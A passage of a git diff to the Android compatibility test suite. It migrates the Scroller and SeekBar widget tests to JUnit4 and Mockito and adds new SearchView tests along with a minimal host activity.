         new Scroller(mTargetContext);
 
         new Scroller(mTargetContext, new LinearInterpolator());
     }
 
+    @Test
     public void testIsFinished() {
         mScroller.forceFinished(true);
         assertTrue(mScroller.isFinished());
@@ -51,6 +65,7 @@
         assertFalse(mScroller.isFinished());
     }
 
+    @Test
     public void testGetDuration() {
         assertEquals(0, mScroller.getDuration());
 
@@ -70,6 +85,7 @@
         assertTrue(mScroller.getDuration() > 0);
     }
 
+    @Test
     public void testAccessFinalX() {
         assertEquals(0, mScroller.getFinalX());
         assertTrue(mScroller.isFinished());
@@ -84,6 +100,7 @@
         assertFalse(mScroller.isFinished());
     }
 
+    @Test
     public void testAccessFinalY() {
         assertEquals(0, mScroller.getFinalY());
         assertTrue(mScroller.isFinished());
@@ -99,6 +116,8 @@
     }
 
     // We can not get the precise currX and currY when scrolling
+    @LargeTest
+    @Test
     public void testScrollMode() {
         assertEquals(0, mScroller.getFinalX());
         assertEquals(0, mScroller.getFinalY());
@@ -114,11 +133,7 @@
         assertEquals(5000, mScroller.getDuration());
         assertFalse(mScroller.isFinished());
 
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(1000);
 
         assertTrue(mScroller.computeScrollOffset());
         // between the start and final position
@@ -131,11 +146,7 @@
         int curX = mScroller.getCurrX();
         int curY = mScroller.getCurrY();
 
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(1000);
 
         assertTrue(mScroller.computeScrollOffset());
         // between the start and final position
@@ -148,11 +159,7 @@
         assertTrue(mScroller.getCurrY() < curY);
         assertFalse(mScroller.isFinished());
 
-        try {
-            Thread.sleep(3000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(3000);
 
         assertTrue(mScroller.computeScrollOffset());
         // reach the final position
@@ -164,6 +171,8 @@
     }
 
     // We can not get the precise currX and currY when scrolling
+    @LargeTest
+    @Test
     public void testScrollModeWithDefaultDuration() {
         assertEquals(0, mScroller.getFinalX());
         assertEquals(0, mScroller.getFinalY());
@@ -183,11 +192,7 @@
 
         // the default duration is too short to get fine controlled
         // we just check whether the scroller reaches the destination
-        try {
-            Thread.sleep(defaultDuration);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(defaultDuration);
 
         assertTrue(mScroller.computeScrollOffset());
         // reach the final position
@@ -199,6 +204,8 @@
     }
 
     // We can not get the precise currX and currY when scrolling
+    @LargeTest
+    @Test
     public void testFlingMode() {
         assertEquals(0, mScroller.getFinalX());
         assertEquals(0, mScroller.getFinalY());
@@ -216,11 +223,7 @@
         assertTrue(duration > 0);
         assertFalse(mScroller.isFinished());
 
-        try {
-            Thread.sleep(duration / 3);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(duration / 3);
         assertTrue(mScroller.computeScrollOffset());
 
         int currX = mScroller.getCurrX();
@@ -234,11 +237,7 @@
         assertFalse(mScroller.isFinished());
 
         // wait for the same duration as the last
-        try {
-            Thread.sleep(duration / 3);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(duration / 3);
         assertTrue(mScroller.computeScrollOffset());
 
         int previousX = currX;
@@ -258,11 +257,7 @@
         assertTrue(Math.abs(currY - previousY) < Math.abs(previousY - 0));
 
         // wait until the scroll finishes
-        try {
-            Thread.sleep(duration);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(duration);
         assertTrue(mScroller.computeScrollOffset());
 
         assertEquals(mScroller.getFinalX(), mScroller.getCurrX());
@@ -272,6 +267,7 @@
         assertFalse(mScroller.computeScrollOffset());
     }
 
+    @Test
     public void testAbortAnimation() {
         mScroller.startScroll(0, 0, 2000, -2000, 5000);
         mScroller.computeScrollOffset();
@@ -296,6 +292,8 @@
     }
 
     // We can not get the precise duration after it is extended
+    @LargeTest
+    @Test
     public void testExtendDuration() {
         mScroller.startScroll(0, 0, 0, 0, 5000);
         assertEquals(5000, mScroller.getDuration());
@@ -310,11 +308,7 @@
         mScroller.startScroll(0, 0, 0, 0, 500);
         assertEquals(500, mScroller.getDuration());
 
-        try {
-            Thread.sleep(1500);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(1500);
         // the duration get extended and the scroll get started again, though the animation
         // is forced aborted, can not get the precise duration after it is extended
         mScroller.abortAnimation();
@@ -326,11 +320,7 @@
         mScroller = new Scroller(mTargetContext, new LinearInterpolator());
         mScroller.startScroll(0, 0, 5000, 5000, 5000);
 
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(1000);
         mScroller.computeScrollOffset();
         int curX = mScroller.getCurrX();
         int curY = mScroller.getCurrY();
@@ -341,20 +331,14 @@
         assertTrue(mScroller.getCurrY() - curY < curY - 0);
     }
 
+    @LargeTest
+    @Test
     public void testTimePassed() {
-        try {
-            Thread.sleep(1000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(1000);
         // can not get precise time
         assertTrue(mScroller.timePassed() > 1000);
 
-        try {
-            Thread.sleep(2000);
-        } catch (InterruptedException e) {
-            fail("unexpected InterruptedException when sleep");
-        }
+        SystemClock.sleep(2000);
         // can not get precise time
         // time has passed more than 2000 + 1000
         assertTrue(mScroller.timePassed() > 3000);
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewCtsActivity.java b/tests/tests/widget/src/android/widget/cts/SearchViewCtsActivity.java
new file mode 100644
index 0000000..5da8a32
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewCtsActivity.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.SearchView;
+
+/**
+ * A minimal application for {@link SearchView} test.
+ */
+public class SearchViewCtsActivity extends Activity {
+    /**
+     * Called with the activity is first created.
+     */
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.searchview_layout);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/SearchViewTest.java b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
new file mode 100644
index 0000000..301cea2
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SearchViewTest.java
@@ -0,0 +1,272 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Mockito.anyString;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.content.res.Resources;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.InputType;
+import android.text.TextUtils;
+import android.view.inputmethod.EditorInfo;
+import android.widget.SearchView;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link SearchView}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SearchViewTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private SearchView mSearchView;
+
+    @Rule
+    public ActivityTestRule<SearchViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SearchViewCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mSearchView = (SearchView) mActivity.findViewById(R.id.search_view);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructor() {
+        new SearchView(mActivity);
+
+        new SearchView(mActivity, null);
+
+        new SearchView(mActivity, null, android.R.attr.searchViewStyle);
+
+        new SearchView(mActivity, null, 0, android.R.style.Widget_Material_SearchView);
+
+        new SearchView(mActivity, null, 0, android.R.style.Widget_Material_Light_SearchView);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAttributesFromXml() {
+        SearchView searchViewWithAttributes =
+                (SearchView) mActivity.findViewById(R.id.search_view_with_defaults);
+        assertEquals(mActivity.getString(R.string.search_query_hint),
+                searchViewWithAttributes.getQueryHint());
+        assertFalse(searchViewWithAttributes.isIconfiedByDefault());
+        assertEquals(EditorInfo.TYPE_TEXT_FLAG_CAP_CHARACTERS | EditorInfo.TYPE_CLASS_TEXT,
+                searchViewWithAttributes.getInputType());
+        assertEquals(EditorInfo.IME_ACTION_DONE, searchViewWithAttributes.getImeOptions());
+        assertEquals(mActivity.getResources().getDimensionPixelSize(R.dimen.search_view_max_width),
+                searchViewWithAttributes.getMaxWidth());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessIconified() {
+        mSearchView.setIconified(true);
+        assertTrue(mSearchView.isIconified());
+
+        mSearchView.setIconified(false);
+        assertFalse(mSearchView.isIconified());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessIconifiedByDefault() {
+        mSearchView.setIconifiedByDefault(true);
+        assertTrue(mSearchView.isIconfiedByDefault());
+
+        mSearchView.setIconifiedByDefault(false);
+        assertFalse(mSearchView.isIconfiedByDefault());
+    }
+
+    @Test
+    public void testDenyIconifyingNonInconifiableView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mSearchView.setIconifiedByDefault(false);
+            mSearchView.setIconified(false);
+        });
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setIconified(true));
+        mInstrumentation.waitForIdleSync();
+
+        // Since our search view is marked with iconifiedByDefault=false, call to setIconified
+        // with true us going to be ignored, as detailed in the class-level documentation of
+        // SearchView.
+        assertFalse(mSearchView.isIconified());
+    }
+
+    @Test
+    public void testDenyIconifyingInconifiableView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mSearchView.setIconifiedByDefault(true);
+            mSearchView.setIconified(false);
+        });
+
+        final SearchView.OnCloseListener mockDenyCloseListener =
+                mock(SearchView.OnCloseListener.class);
+        when(mockDenyCloseListener.onClose()).thenReturn(Boolean.TRUE);
+        mSearchView.setOnCloseListener(mockDenyCloseListener);
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setIconified(true));
+        mInstrumentation.waitForIdleSync();
+
+        // Our mock listener is configured to return true from its onClose, thereby preventing
+        // the iconify request to be completed. Check that the listener was called and that the
+        // search view is not iconified.
+        verify(mockDenyCloseListener, times(1)).onClose();
+        assertFalse(mSearchView.isIconified());
+    }
+
+    @Test
+    public void testAllowIconifyingInconifiableView() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mSearchView.setIconifiedByDefault(true);
+            mSearchView.setIconified(false);
+        });
+
+        final SearchView.OnCloseListener mockAllowCloseListener =
+                mock(SearchView.OnCloseListener.class);
+        when(mockAllowCloseListener.onClose()).thenReturn(Boolean.FALSE);
+        mSearchView.setOnCloseListener(mockAllowCloseListener);
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setIconified(true));
+        mInstrumentation.waitForIdleSync();
+
+        // Our mock listener is configured to return false from its onClose, thereby allowing
+        // the iconify request to be completed. Check that the listener was called and that the
+        // search view is not iconified.
+        verify(mockAllowCloseListener, times(1)).onClose();
+        assertTrue(mSearchView.isIconified());
+    }
+
+    @Test
+    public void testAccessMaxWidth() throws Throwable {
+        final Resources res = mActivity.getResources();
+        final int maxWidth1 = res.getDimensionPixelSize(R.dimen.search_view_max_width);
+        final int maxWidth2 = res.getDimensionPixelSize(R.dimen.search_view_max_width2);
+
+        // Set search view to not be iconified before running max-width tests
+        mActivityRule.runOnUiThread(() -> mSearchView.setIconified(false));
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setMaxWidth(maxWidth1));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(maxWidth1, mSearchView.getMaxWidth());
+        assertTrue(mSearchView.getWidth() <= maxWidth1);
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setMaxWidth(maxWidth2));
+        mInstrumentation.waitForIdleSync();
+        assertEquals(maxWidth2, mSearchView.getMaxWidth());
+        assertTrue(mSearchView.getWidth() <= maxWidth2);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessQuery() {
+        mSearchView.setIconified(false);
+
+        final SearchView.OnQueryTextListener mockQueryTextListener =
+                mock(SearchView.OnQueryTextListener.class);
+        when(mockQueryTextListener.onQueryTextSubmit(anyString())).thenReturn(Boolean.TRUE);
+        mSearchView.setOnQueryTextListener(mockQueryTextListener);
+
+        mSearchView.setQuery("alpha", false);
+        assertTrue(TextUtils.equals("alpha", mSearchView.getQuery()));
+        // Since we passed false as the second parameter to setQuery, our query text listener
+        // should have been invoked only with text change
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("alpha");
+        verify(mockQueryTextListener, never()).onQueryTextSubmit(anyString());
+
+        mSearchView.setQuery("beta", true);
+        assertTrue(TextUtils.equals("beta", mSearchView.getQuery()));
+        // Since we passed true as the second parameter to setQuery, our query text listener
+        // should have been invoked on both callbacks
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("beta");
+        verify(mockQueryTextListener, times(1)).onQueryTextSubmit("beta");
+
+        mSearchView.setQuery("gamma", true);
+        assertTrue(TextUtils.equals("gamma", mSearchView.getQuery()));
+        // Since we passed true as the second parameter to setQuery, our query text listener
+        // should have been invoked on both callbacks
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("gamma");
+        verify(mockQueryTextListener, times(1)).onQueryTextSubmit("gamma");
+
+        verifyNoMoreInteractions(mockQueryTextListener);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessQueryHint() {
+        mSearchView.setQueryHint("hint 1");
+        assertTrue(TextUtils.equals("hint 1", mSearchView.getQueryHint()));
+
+        mSearchView.setQueryHint("hint 2");
+        assertTrue(TextUtils.equals("hint 2", mSearchView.getQueryHint()));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessInputType() {
+        mSearchView.setInputType(InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_FLAG_DECIMAL
+                | InputType.TYPE_NUMBER_FLAG_SIGNED);
+        assertEquals(InputType.TYPE_CLASS_NUMBER
+                | InputType.TYPE_NUMBER_FLAG_DECIMAL
+                | InputType.TYPE_NUMBER_FLAG_SIGNED, mSearchView.getInputType());
+
+        mSearchView.setInputType(InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_FLAG_CAP_WORDS);
+        assertEquals(InputType.TYPE_CLASS_TEXT
+                | InputType.TYPE_TEXT_FLAG_CAP_WORDS, mSearchView.getInputType());
+
+        mSearchView.setInputType(InputType.TYPE_CLASS_PHONE);
+        assertEquals(InputType.TYPE_CLASS_PHONE, mSearchView.getInputType());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAccessImeOptions() {
+        mSearchView.setImeOptions(EditorInfo.IME_ACTION_GO);
+        assertEquals(EditorInfo.IME_ACTION_GO, mSearchView.getImeOptions());
+
+        mSearchView.setImeOptions(EditorInfo.IME_ACTION_DONE);
+        assertEquals(EditorInfo.IME_ACTION_DONE, mSearchView.getImeOptions());
+
+        mSearchView.setImeOptions(EditorInfo.IME_NULL);
+        assertEquals(EditorInfo.IME_NULL, mSearchView.getImeOptions());
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
new file mode 100644
index 0000000..c40c0fd
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/SearchView_CursorTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Matchers.anyString;
+import static org.mockito.Mockito.spy;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.verifyNoMoreInteractions;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.database.Cursor;
+import android.database.MatrixCursor;
+import android.provider.BaseColumns;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.TextUtils;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.AutoCompleteTextView;
+import android.widget.CursorAdapter;
+import android.widget.SearchView;
+import android.widget.SimpleCursorAdapter;
+
+import com.android.compatibility.common.util.CtsTouchUtils;
+import com.android.compatibility.common.util.PollingCheck;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link SearchView} with {@link Cursor}-backed suggestions adapter.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SearchView_CursorTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+    private SearchView mSearchView;
+
+    private static final String TEXT_COLUMN_NAME = "text";
+    private String[] mTextContent;
+
+    private CursorAdapter mSuggestionsAdapter;
+
+    // This should be protected to spy an object of this class.
+    protected class MyQueryTextListener implements SearchView.OnQueryTextListener {
+        @Override
+        public boolean onQueryTextSubmit(String s) {
+            return false;
+        }
+
+        @Override
+        public boolean onQueryTextChange(String s) {
+            if (mSuggestionsAdapter == null) {
+                return false;
+            }
+            if (!enoughToFilter()) {
+                return false;
+            }
+            final MatrixCursor c = new MatrixCursor(
+                    new String[] { BaseColumns._ID, TEXT_COLUMN_NAME} );
+            for (int i = 0; i < mTextContent.length; i++) {
+                if (mTextContent[i].toLowerCase().startsWith(s.toLowerCase())) {
+                    c.addRow(new Object[]{i, mTextContent[i]});
+                }
+            }
+            mSuggestionsAdapter.swapCursor(c);
+            return false;
+        }
+
+        private boolean enoughToFilter() {
+            final AutoCompleteTextView searchSrcText = findAutoCompleteTextView(mSearchView);
+            return searchSrcText != null && searchSrcText.enoughToFilter();
+        }
+
+        private AutoCompleteTextView findAutoCompleteTextView(final ViewGroup viewGroup) {
+            final int count = viewGroup.getChildCount();
+            for (int index = 0; index < count; index++) {
+                final View view = viewGroup.getChildAt(index);
+                if (view instanceof AutoCompleteTextView) {
+                    return (AutoCompleteTextView) view;
+                }
+                if (view instanceof ViewGroup) {
+                    final AutoCompleteTextView findView =
+                            findAutoCompleteTextView((ViewGroup) view);
+                    if (findView != null) {
+                        return findView;
+                    }
+                }
+            }
+            return null;
+        }
+    }
+
+    // This should be protected to spy an object of this class.
+    protected class MySuggestionListener implements SearchView.OnSuggestionListener {
+        @Override
+        public boolean onSuggestionSelect(int position) {
+            return false;
+        }
+
+        @Override
+        public boolean onSuggestionClick(int position) {
+            if (mSuggestionsAdapter != null) {
+                final Cursor cursor = mSuggestionsAdapter.getCursor();
+                if (cursor != null) {
+                    cursor.moveToPosition(position);
+                    mSearchView.setQuery(cursor.getString(1), false);
+                }
+            }
+            return true;
+        }
+    }
+
+    @Rule
+    public ActivityTestRule<SearchViewCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SearchViewCtsActivity.class);
+
+    @UiThreadTest
+    @Before
+    public void setup() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mSearchView = (SearchView) mActivity.findViewById(R.id.search_view);
+
+        // Local test data for the tests
+        mTextContent = new String[] { "Akon", "Bono", "Ciara", "Dido", "Diplo" };
+
+        // Use an adapter with our custom layout for each entry. The adapter "maps"
+        // the content of the text column of our cursor to the @id/text1 view in the
+        // layout.
+        mActivityRule.runOnUiThread(() -> {
+            mSuggestionsAdapter = new SimpleCursorAdapter(
+                    mActivity,
+                    R.layout.searchview_suggestion_item,
+                    null,
+                    new String[] { TEXT_COLUMN_NAME },
+                    new int[] { android.R.id.text1 },
+                    CursorAdapter.FLAG_REGISTER_CONTENT_OBSERVER);
+            mSearchView.setSuggestionsAdapter(mSuggestionsAdapter);
+        });
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSuggestionFiltering() {
+        final SearchView.OnQueryTextListener mockQueryTextListener =
+                spy(new MyQueryTextListener());
+        when(mockQueryTextListener.onQueryTextChange(anyString())).thenCallRealMethod();
+
+        mSearchView.setIconifiedByDefault(false);
+        mSearchView.setOnQueryTextListener(mockQueryTextListener);
+        mSearchView.requestFocus();
+
+        assertTrue(mSearchView.hasFocus());
+        assertEquals(mSuggestionsAdapter, mSearchView.getSuggestionsAdapter());
+
+        mSearchView.setQuery("Bon", false);
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("Bon");
+
+        mSearchView.setQuery("Di", false);
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("Di");
+    }
+
+    @Test
+    public void testSuggestionSelection() throws Throwable {
+        final SearchView.OnSuggestionListener mockSuggestionListener =
+                spy(new MySuggestionListener());
+        when(mockSuggestionListener.onSuggestionClick(anyInt())).thenCallRealMethod();
+
+        final SearchView.OnQueryTextListener mockQueryTextListener =
+                spy(new MyQueryTextListener());
+        when(mockQueryTextListener.onQueryTextChange(anyString())).thenCallRealMethod();
+
+        mActivityRule.runOnUiThread(() -> {
+                    mSearchView.setIconifiedByDefault(false);
+                    mSearchView.setOnQueryTextListener(mockQueryTextListener);
+                    mSearchView.setOnSuggestionListener(mockSuggestionListener);
+                    mSearchView.requestFocus();
+                });
+
+        assertTrue(mSearchView.hasFocus());
+        assertEquals(mSuggestionsAdapter, mSearchView.getSuggestionsAdapter());
+
+        mActivityRule.runOnUiThread(() -> mSearchView.setQuery("Di", false));
+        mInstrumentation.waitForIdleSync();
+        verify(mockQueryTextListener, times(1)).onQueryTextChange("Di");
+
+        // Emulate click on the first suggestion - which should be Dido
+        final int suggestionRowHeight = mActivity.getResources().getDimensionPixelSize(
+                R.dimen.search_view_suggestion_row_height);
+        CtsTouchUtils.emulateTapOnView(mInstrumentation, mSearchView, mSearchView.getWidth() / 2,
+                mSearchView.getHeight() + suggestionRowHeight / 2);
+
+        // At this point we expect the click on the first suggestion to have activated a sequence
+        // of events that ends up in our suggestion listener that sets the full suggestion text
+        // as the current query. Some parts of this sequence of events are asynchronous, and those
+        // are not "caught" by Instrumentation.waitForIdleSync - which is in general not a very
+        // reliable way to wait for everything to be completed. As such, we are using our own
+        // polling check mechanism to wait until the search view's query is the fully completed
+        // suggestion for Dido. This check will time out and fail after a few seconds if anything
+        // goes wrong during the processing of the emulated tap and the code never gets to our
+        // suggestion listener
+        PollingCheck.waitFor(() -> TextUtils.equals("Dido", mSearchView.getQuery()));
+
+        // Just to be sure, verify that our spy suggestion listener was called
+        verify(mockSuggestionListener, times(1)).onSuggestionClick(0);
+        verifyNoMoreInteractions(mockSuggestionListener);
+    }
+}
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarCtsActivity.java b/tests/tests/widget/src/android/widget/cts/SeekBarCtsActivity.java
index e22b910..5dcbe56 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarCtsActivity.java
@@ -16,8 +16,6 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
 import android.view.View;
@@ -28,7 +26,7 @@
  */
 public class SeekBarCtsActivity extends Activity {
     /**
-     * Called with the activity is first created.
+     * Called when the activity is first created.
      */
     @Override
     public void onCreate(Bundle savedInstanceState) {
diff --git a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
index 9182bcc..9395db4 100644
--- a/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/SeekBarTest.java
@@ -16,52 +16,73 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
+import static org.mockito.Mockito.anyInt;
+import static org.mockito.Mockito.atLeastOnce;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.reset;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
 
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.MotionEvent;
 import android.widget.SeekBar;
-import android.widget.SeekBar.OnSeekBarChangeListener;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test {@link SeekBar}.
  */
-public class SeekBarTest extends ActivityInstrumentationTestCase2<SeekBarCtsActivity> {
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class SeekBarTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
     private SeekBar mSeekBar;
 
-    private Activity mActivity;
+    @Rule
+    public ActivityTestRule<SeekBarCtsActivity> mActivityRule =
+            new ActivityTestRule<>(SeekBarCtsActivity.class);
 
-    private Instrumentation mInstrumentation;
-
-    public SeekBarTest() {
-        super("android.widget.cts", SeekBarCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mInstrumentation = getInstrumentation();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
         mSeekBar = (SeekBar) mActivity.findViewById(R.id.seekBar);
     }
 
+    @Test
     public void testConstructor() {
         new SeekBar(mActivity);
 
         new SeekBar(mActivity, null);
 
         new SeekBar(mActivity, null, android.R.attr.seekBarStyle);
+
+        new SeekBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_SeekBar);
+
+        new SeekBar(mActivity, null, 0, android.R.style.Widget_DeviceDefault_Light_SeekBar);
+
+        new SeekBar(mActivity, null, 0, android.R.style.Widget_Material_SeekBar);
+
+        new SeekBar(mActivity, null, 0, android.R.style.Widget_Material_Light_SeekBar);
     }
 
+    @Test
     public void testSetOnSeekBarChangeListener() {
-        MockOnSeekBarListener listener = new MockOnSeekBarListener();
+        SeekBar.OnSeekBarChangeListener mockChangeListener =
+                mock(SeekBar.OnSeekBarChangeListener.class);
 
-        mSeekBar.setOnSeekBarChangeListener(listener);
-        listener.reset();
+        mSeekBar.setOnSeekBarChangeListener(mockChangeListener);
         long downTime = SystemClock.uptimeMillis();
         long eventTime = SystemClock.uptimeMillis();
         int seekBarXY[] = new int[2];
@@ -70,66 +91,28 @@
                 seekBarXY[0], seekBarXY[1], 0);
         mInstrumentation.sendPointerSync(event);
         mInstrumentation.waitForIdleSync();
-        assertTrue(listener.hasCalledOnStartTrackingTouch());
+        verify(mockChangeListener, times(1)).onStartTrackingTouch(mSeekBar);
         // while starting to track, the progress is changed also
-        assertTrue(listener.hasCalledOnProgressChanged());
+        verify(mockChangeListener, atLeastOnce()).onProgressChanged(eq(mSeekBar), anyInt(),
+                eq(true));
 
-        listener.reset();
+        reset(mockChangeListener);
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_MOVE,
                 seekBarXY[0] + (mSeekBar.getWidth() >> 1), seekBarXY[1], 0);
         mInstrumentation.sendPointerSync(event);
         mInstrumentation.waitForIdleSync();
-        assertTrue(listener.hasCalledOnProgressChanged());
+        verify(mockChangeListener, atLeastOnce()).onProgressChanged(eq(mSeekBar), anyInt(),
+                eq(true));
 
-        listener.reset();
+        reset(mockChangeListener);
         downTime = SystemClock.uptimeMillis();
         eventTime = SystemClock.uptimeMillis();
         event = MotionEvent.obtain(downTime, eventTime, MotionEvent.ACTION_UP,
                 seekBarXY[0] + (mSeekBar.getWidth() >> 1), seekBarXY[1], 0);
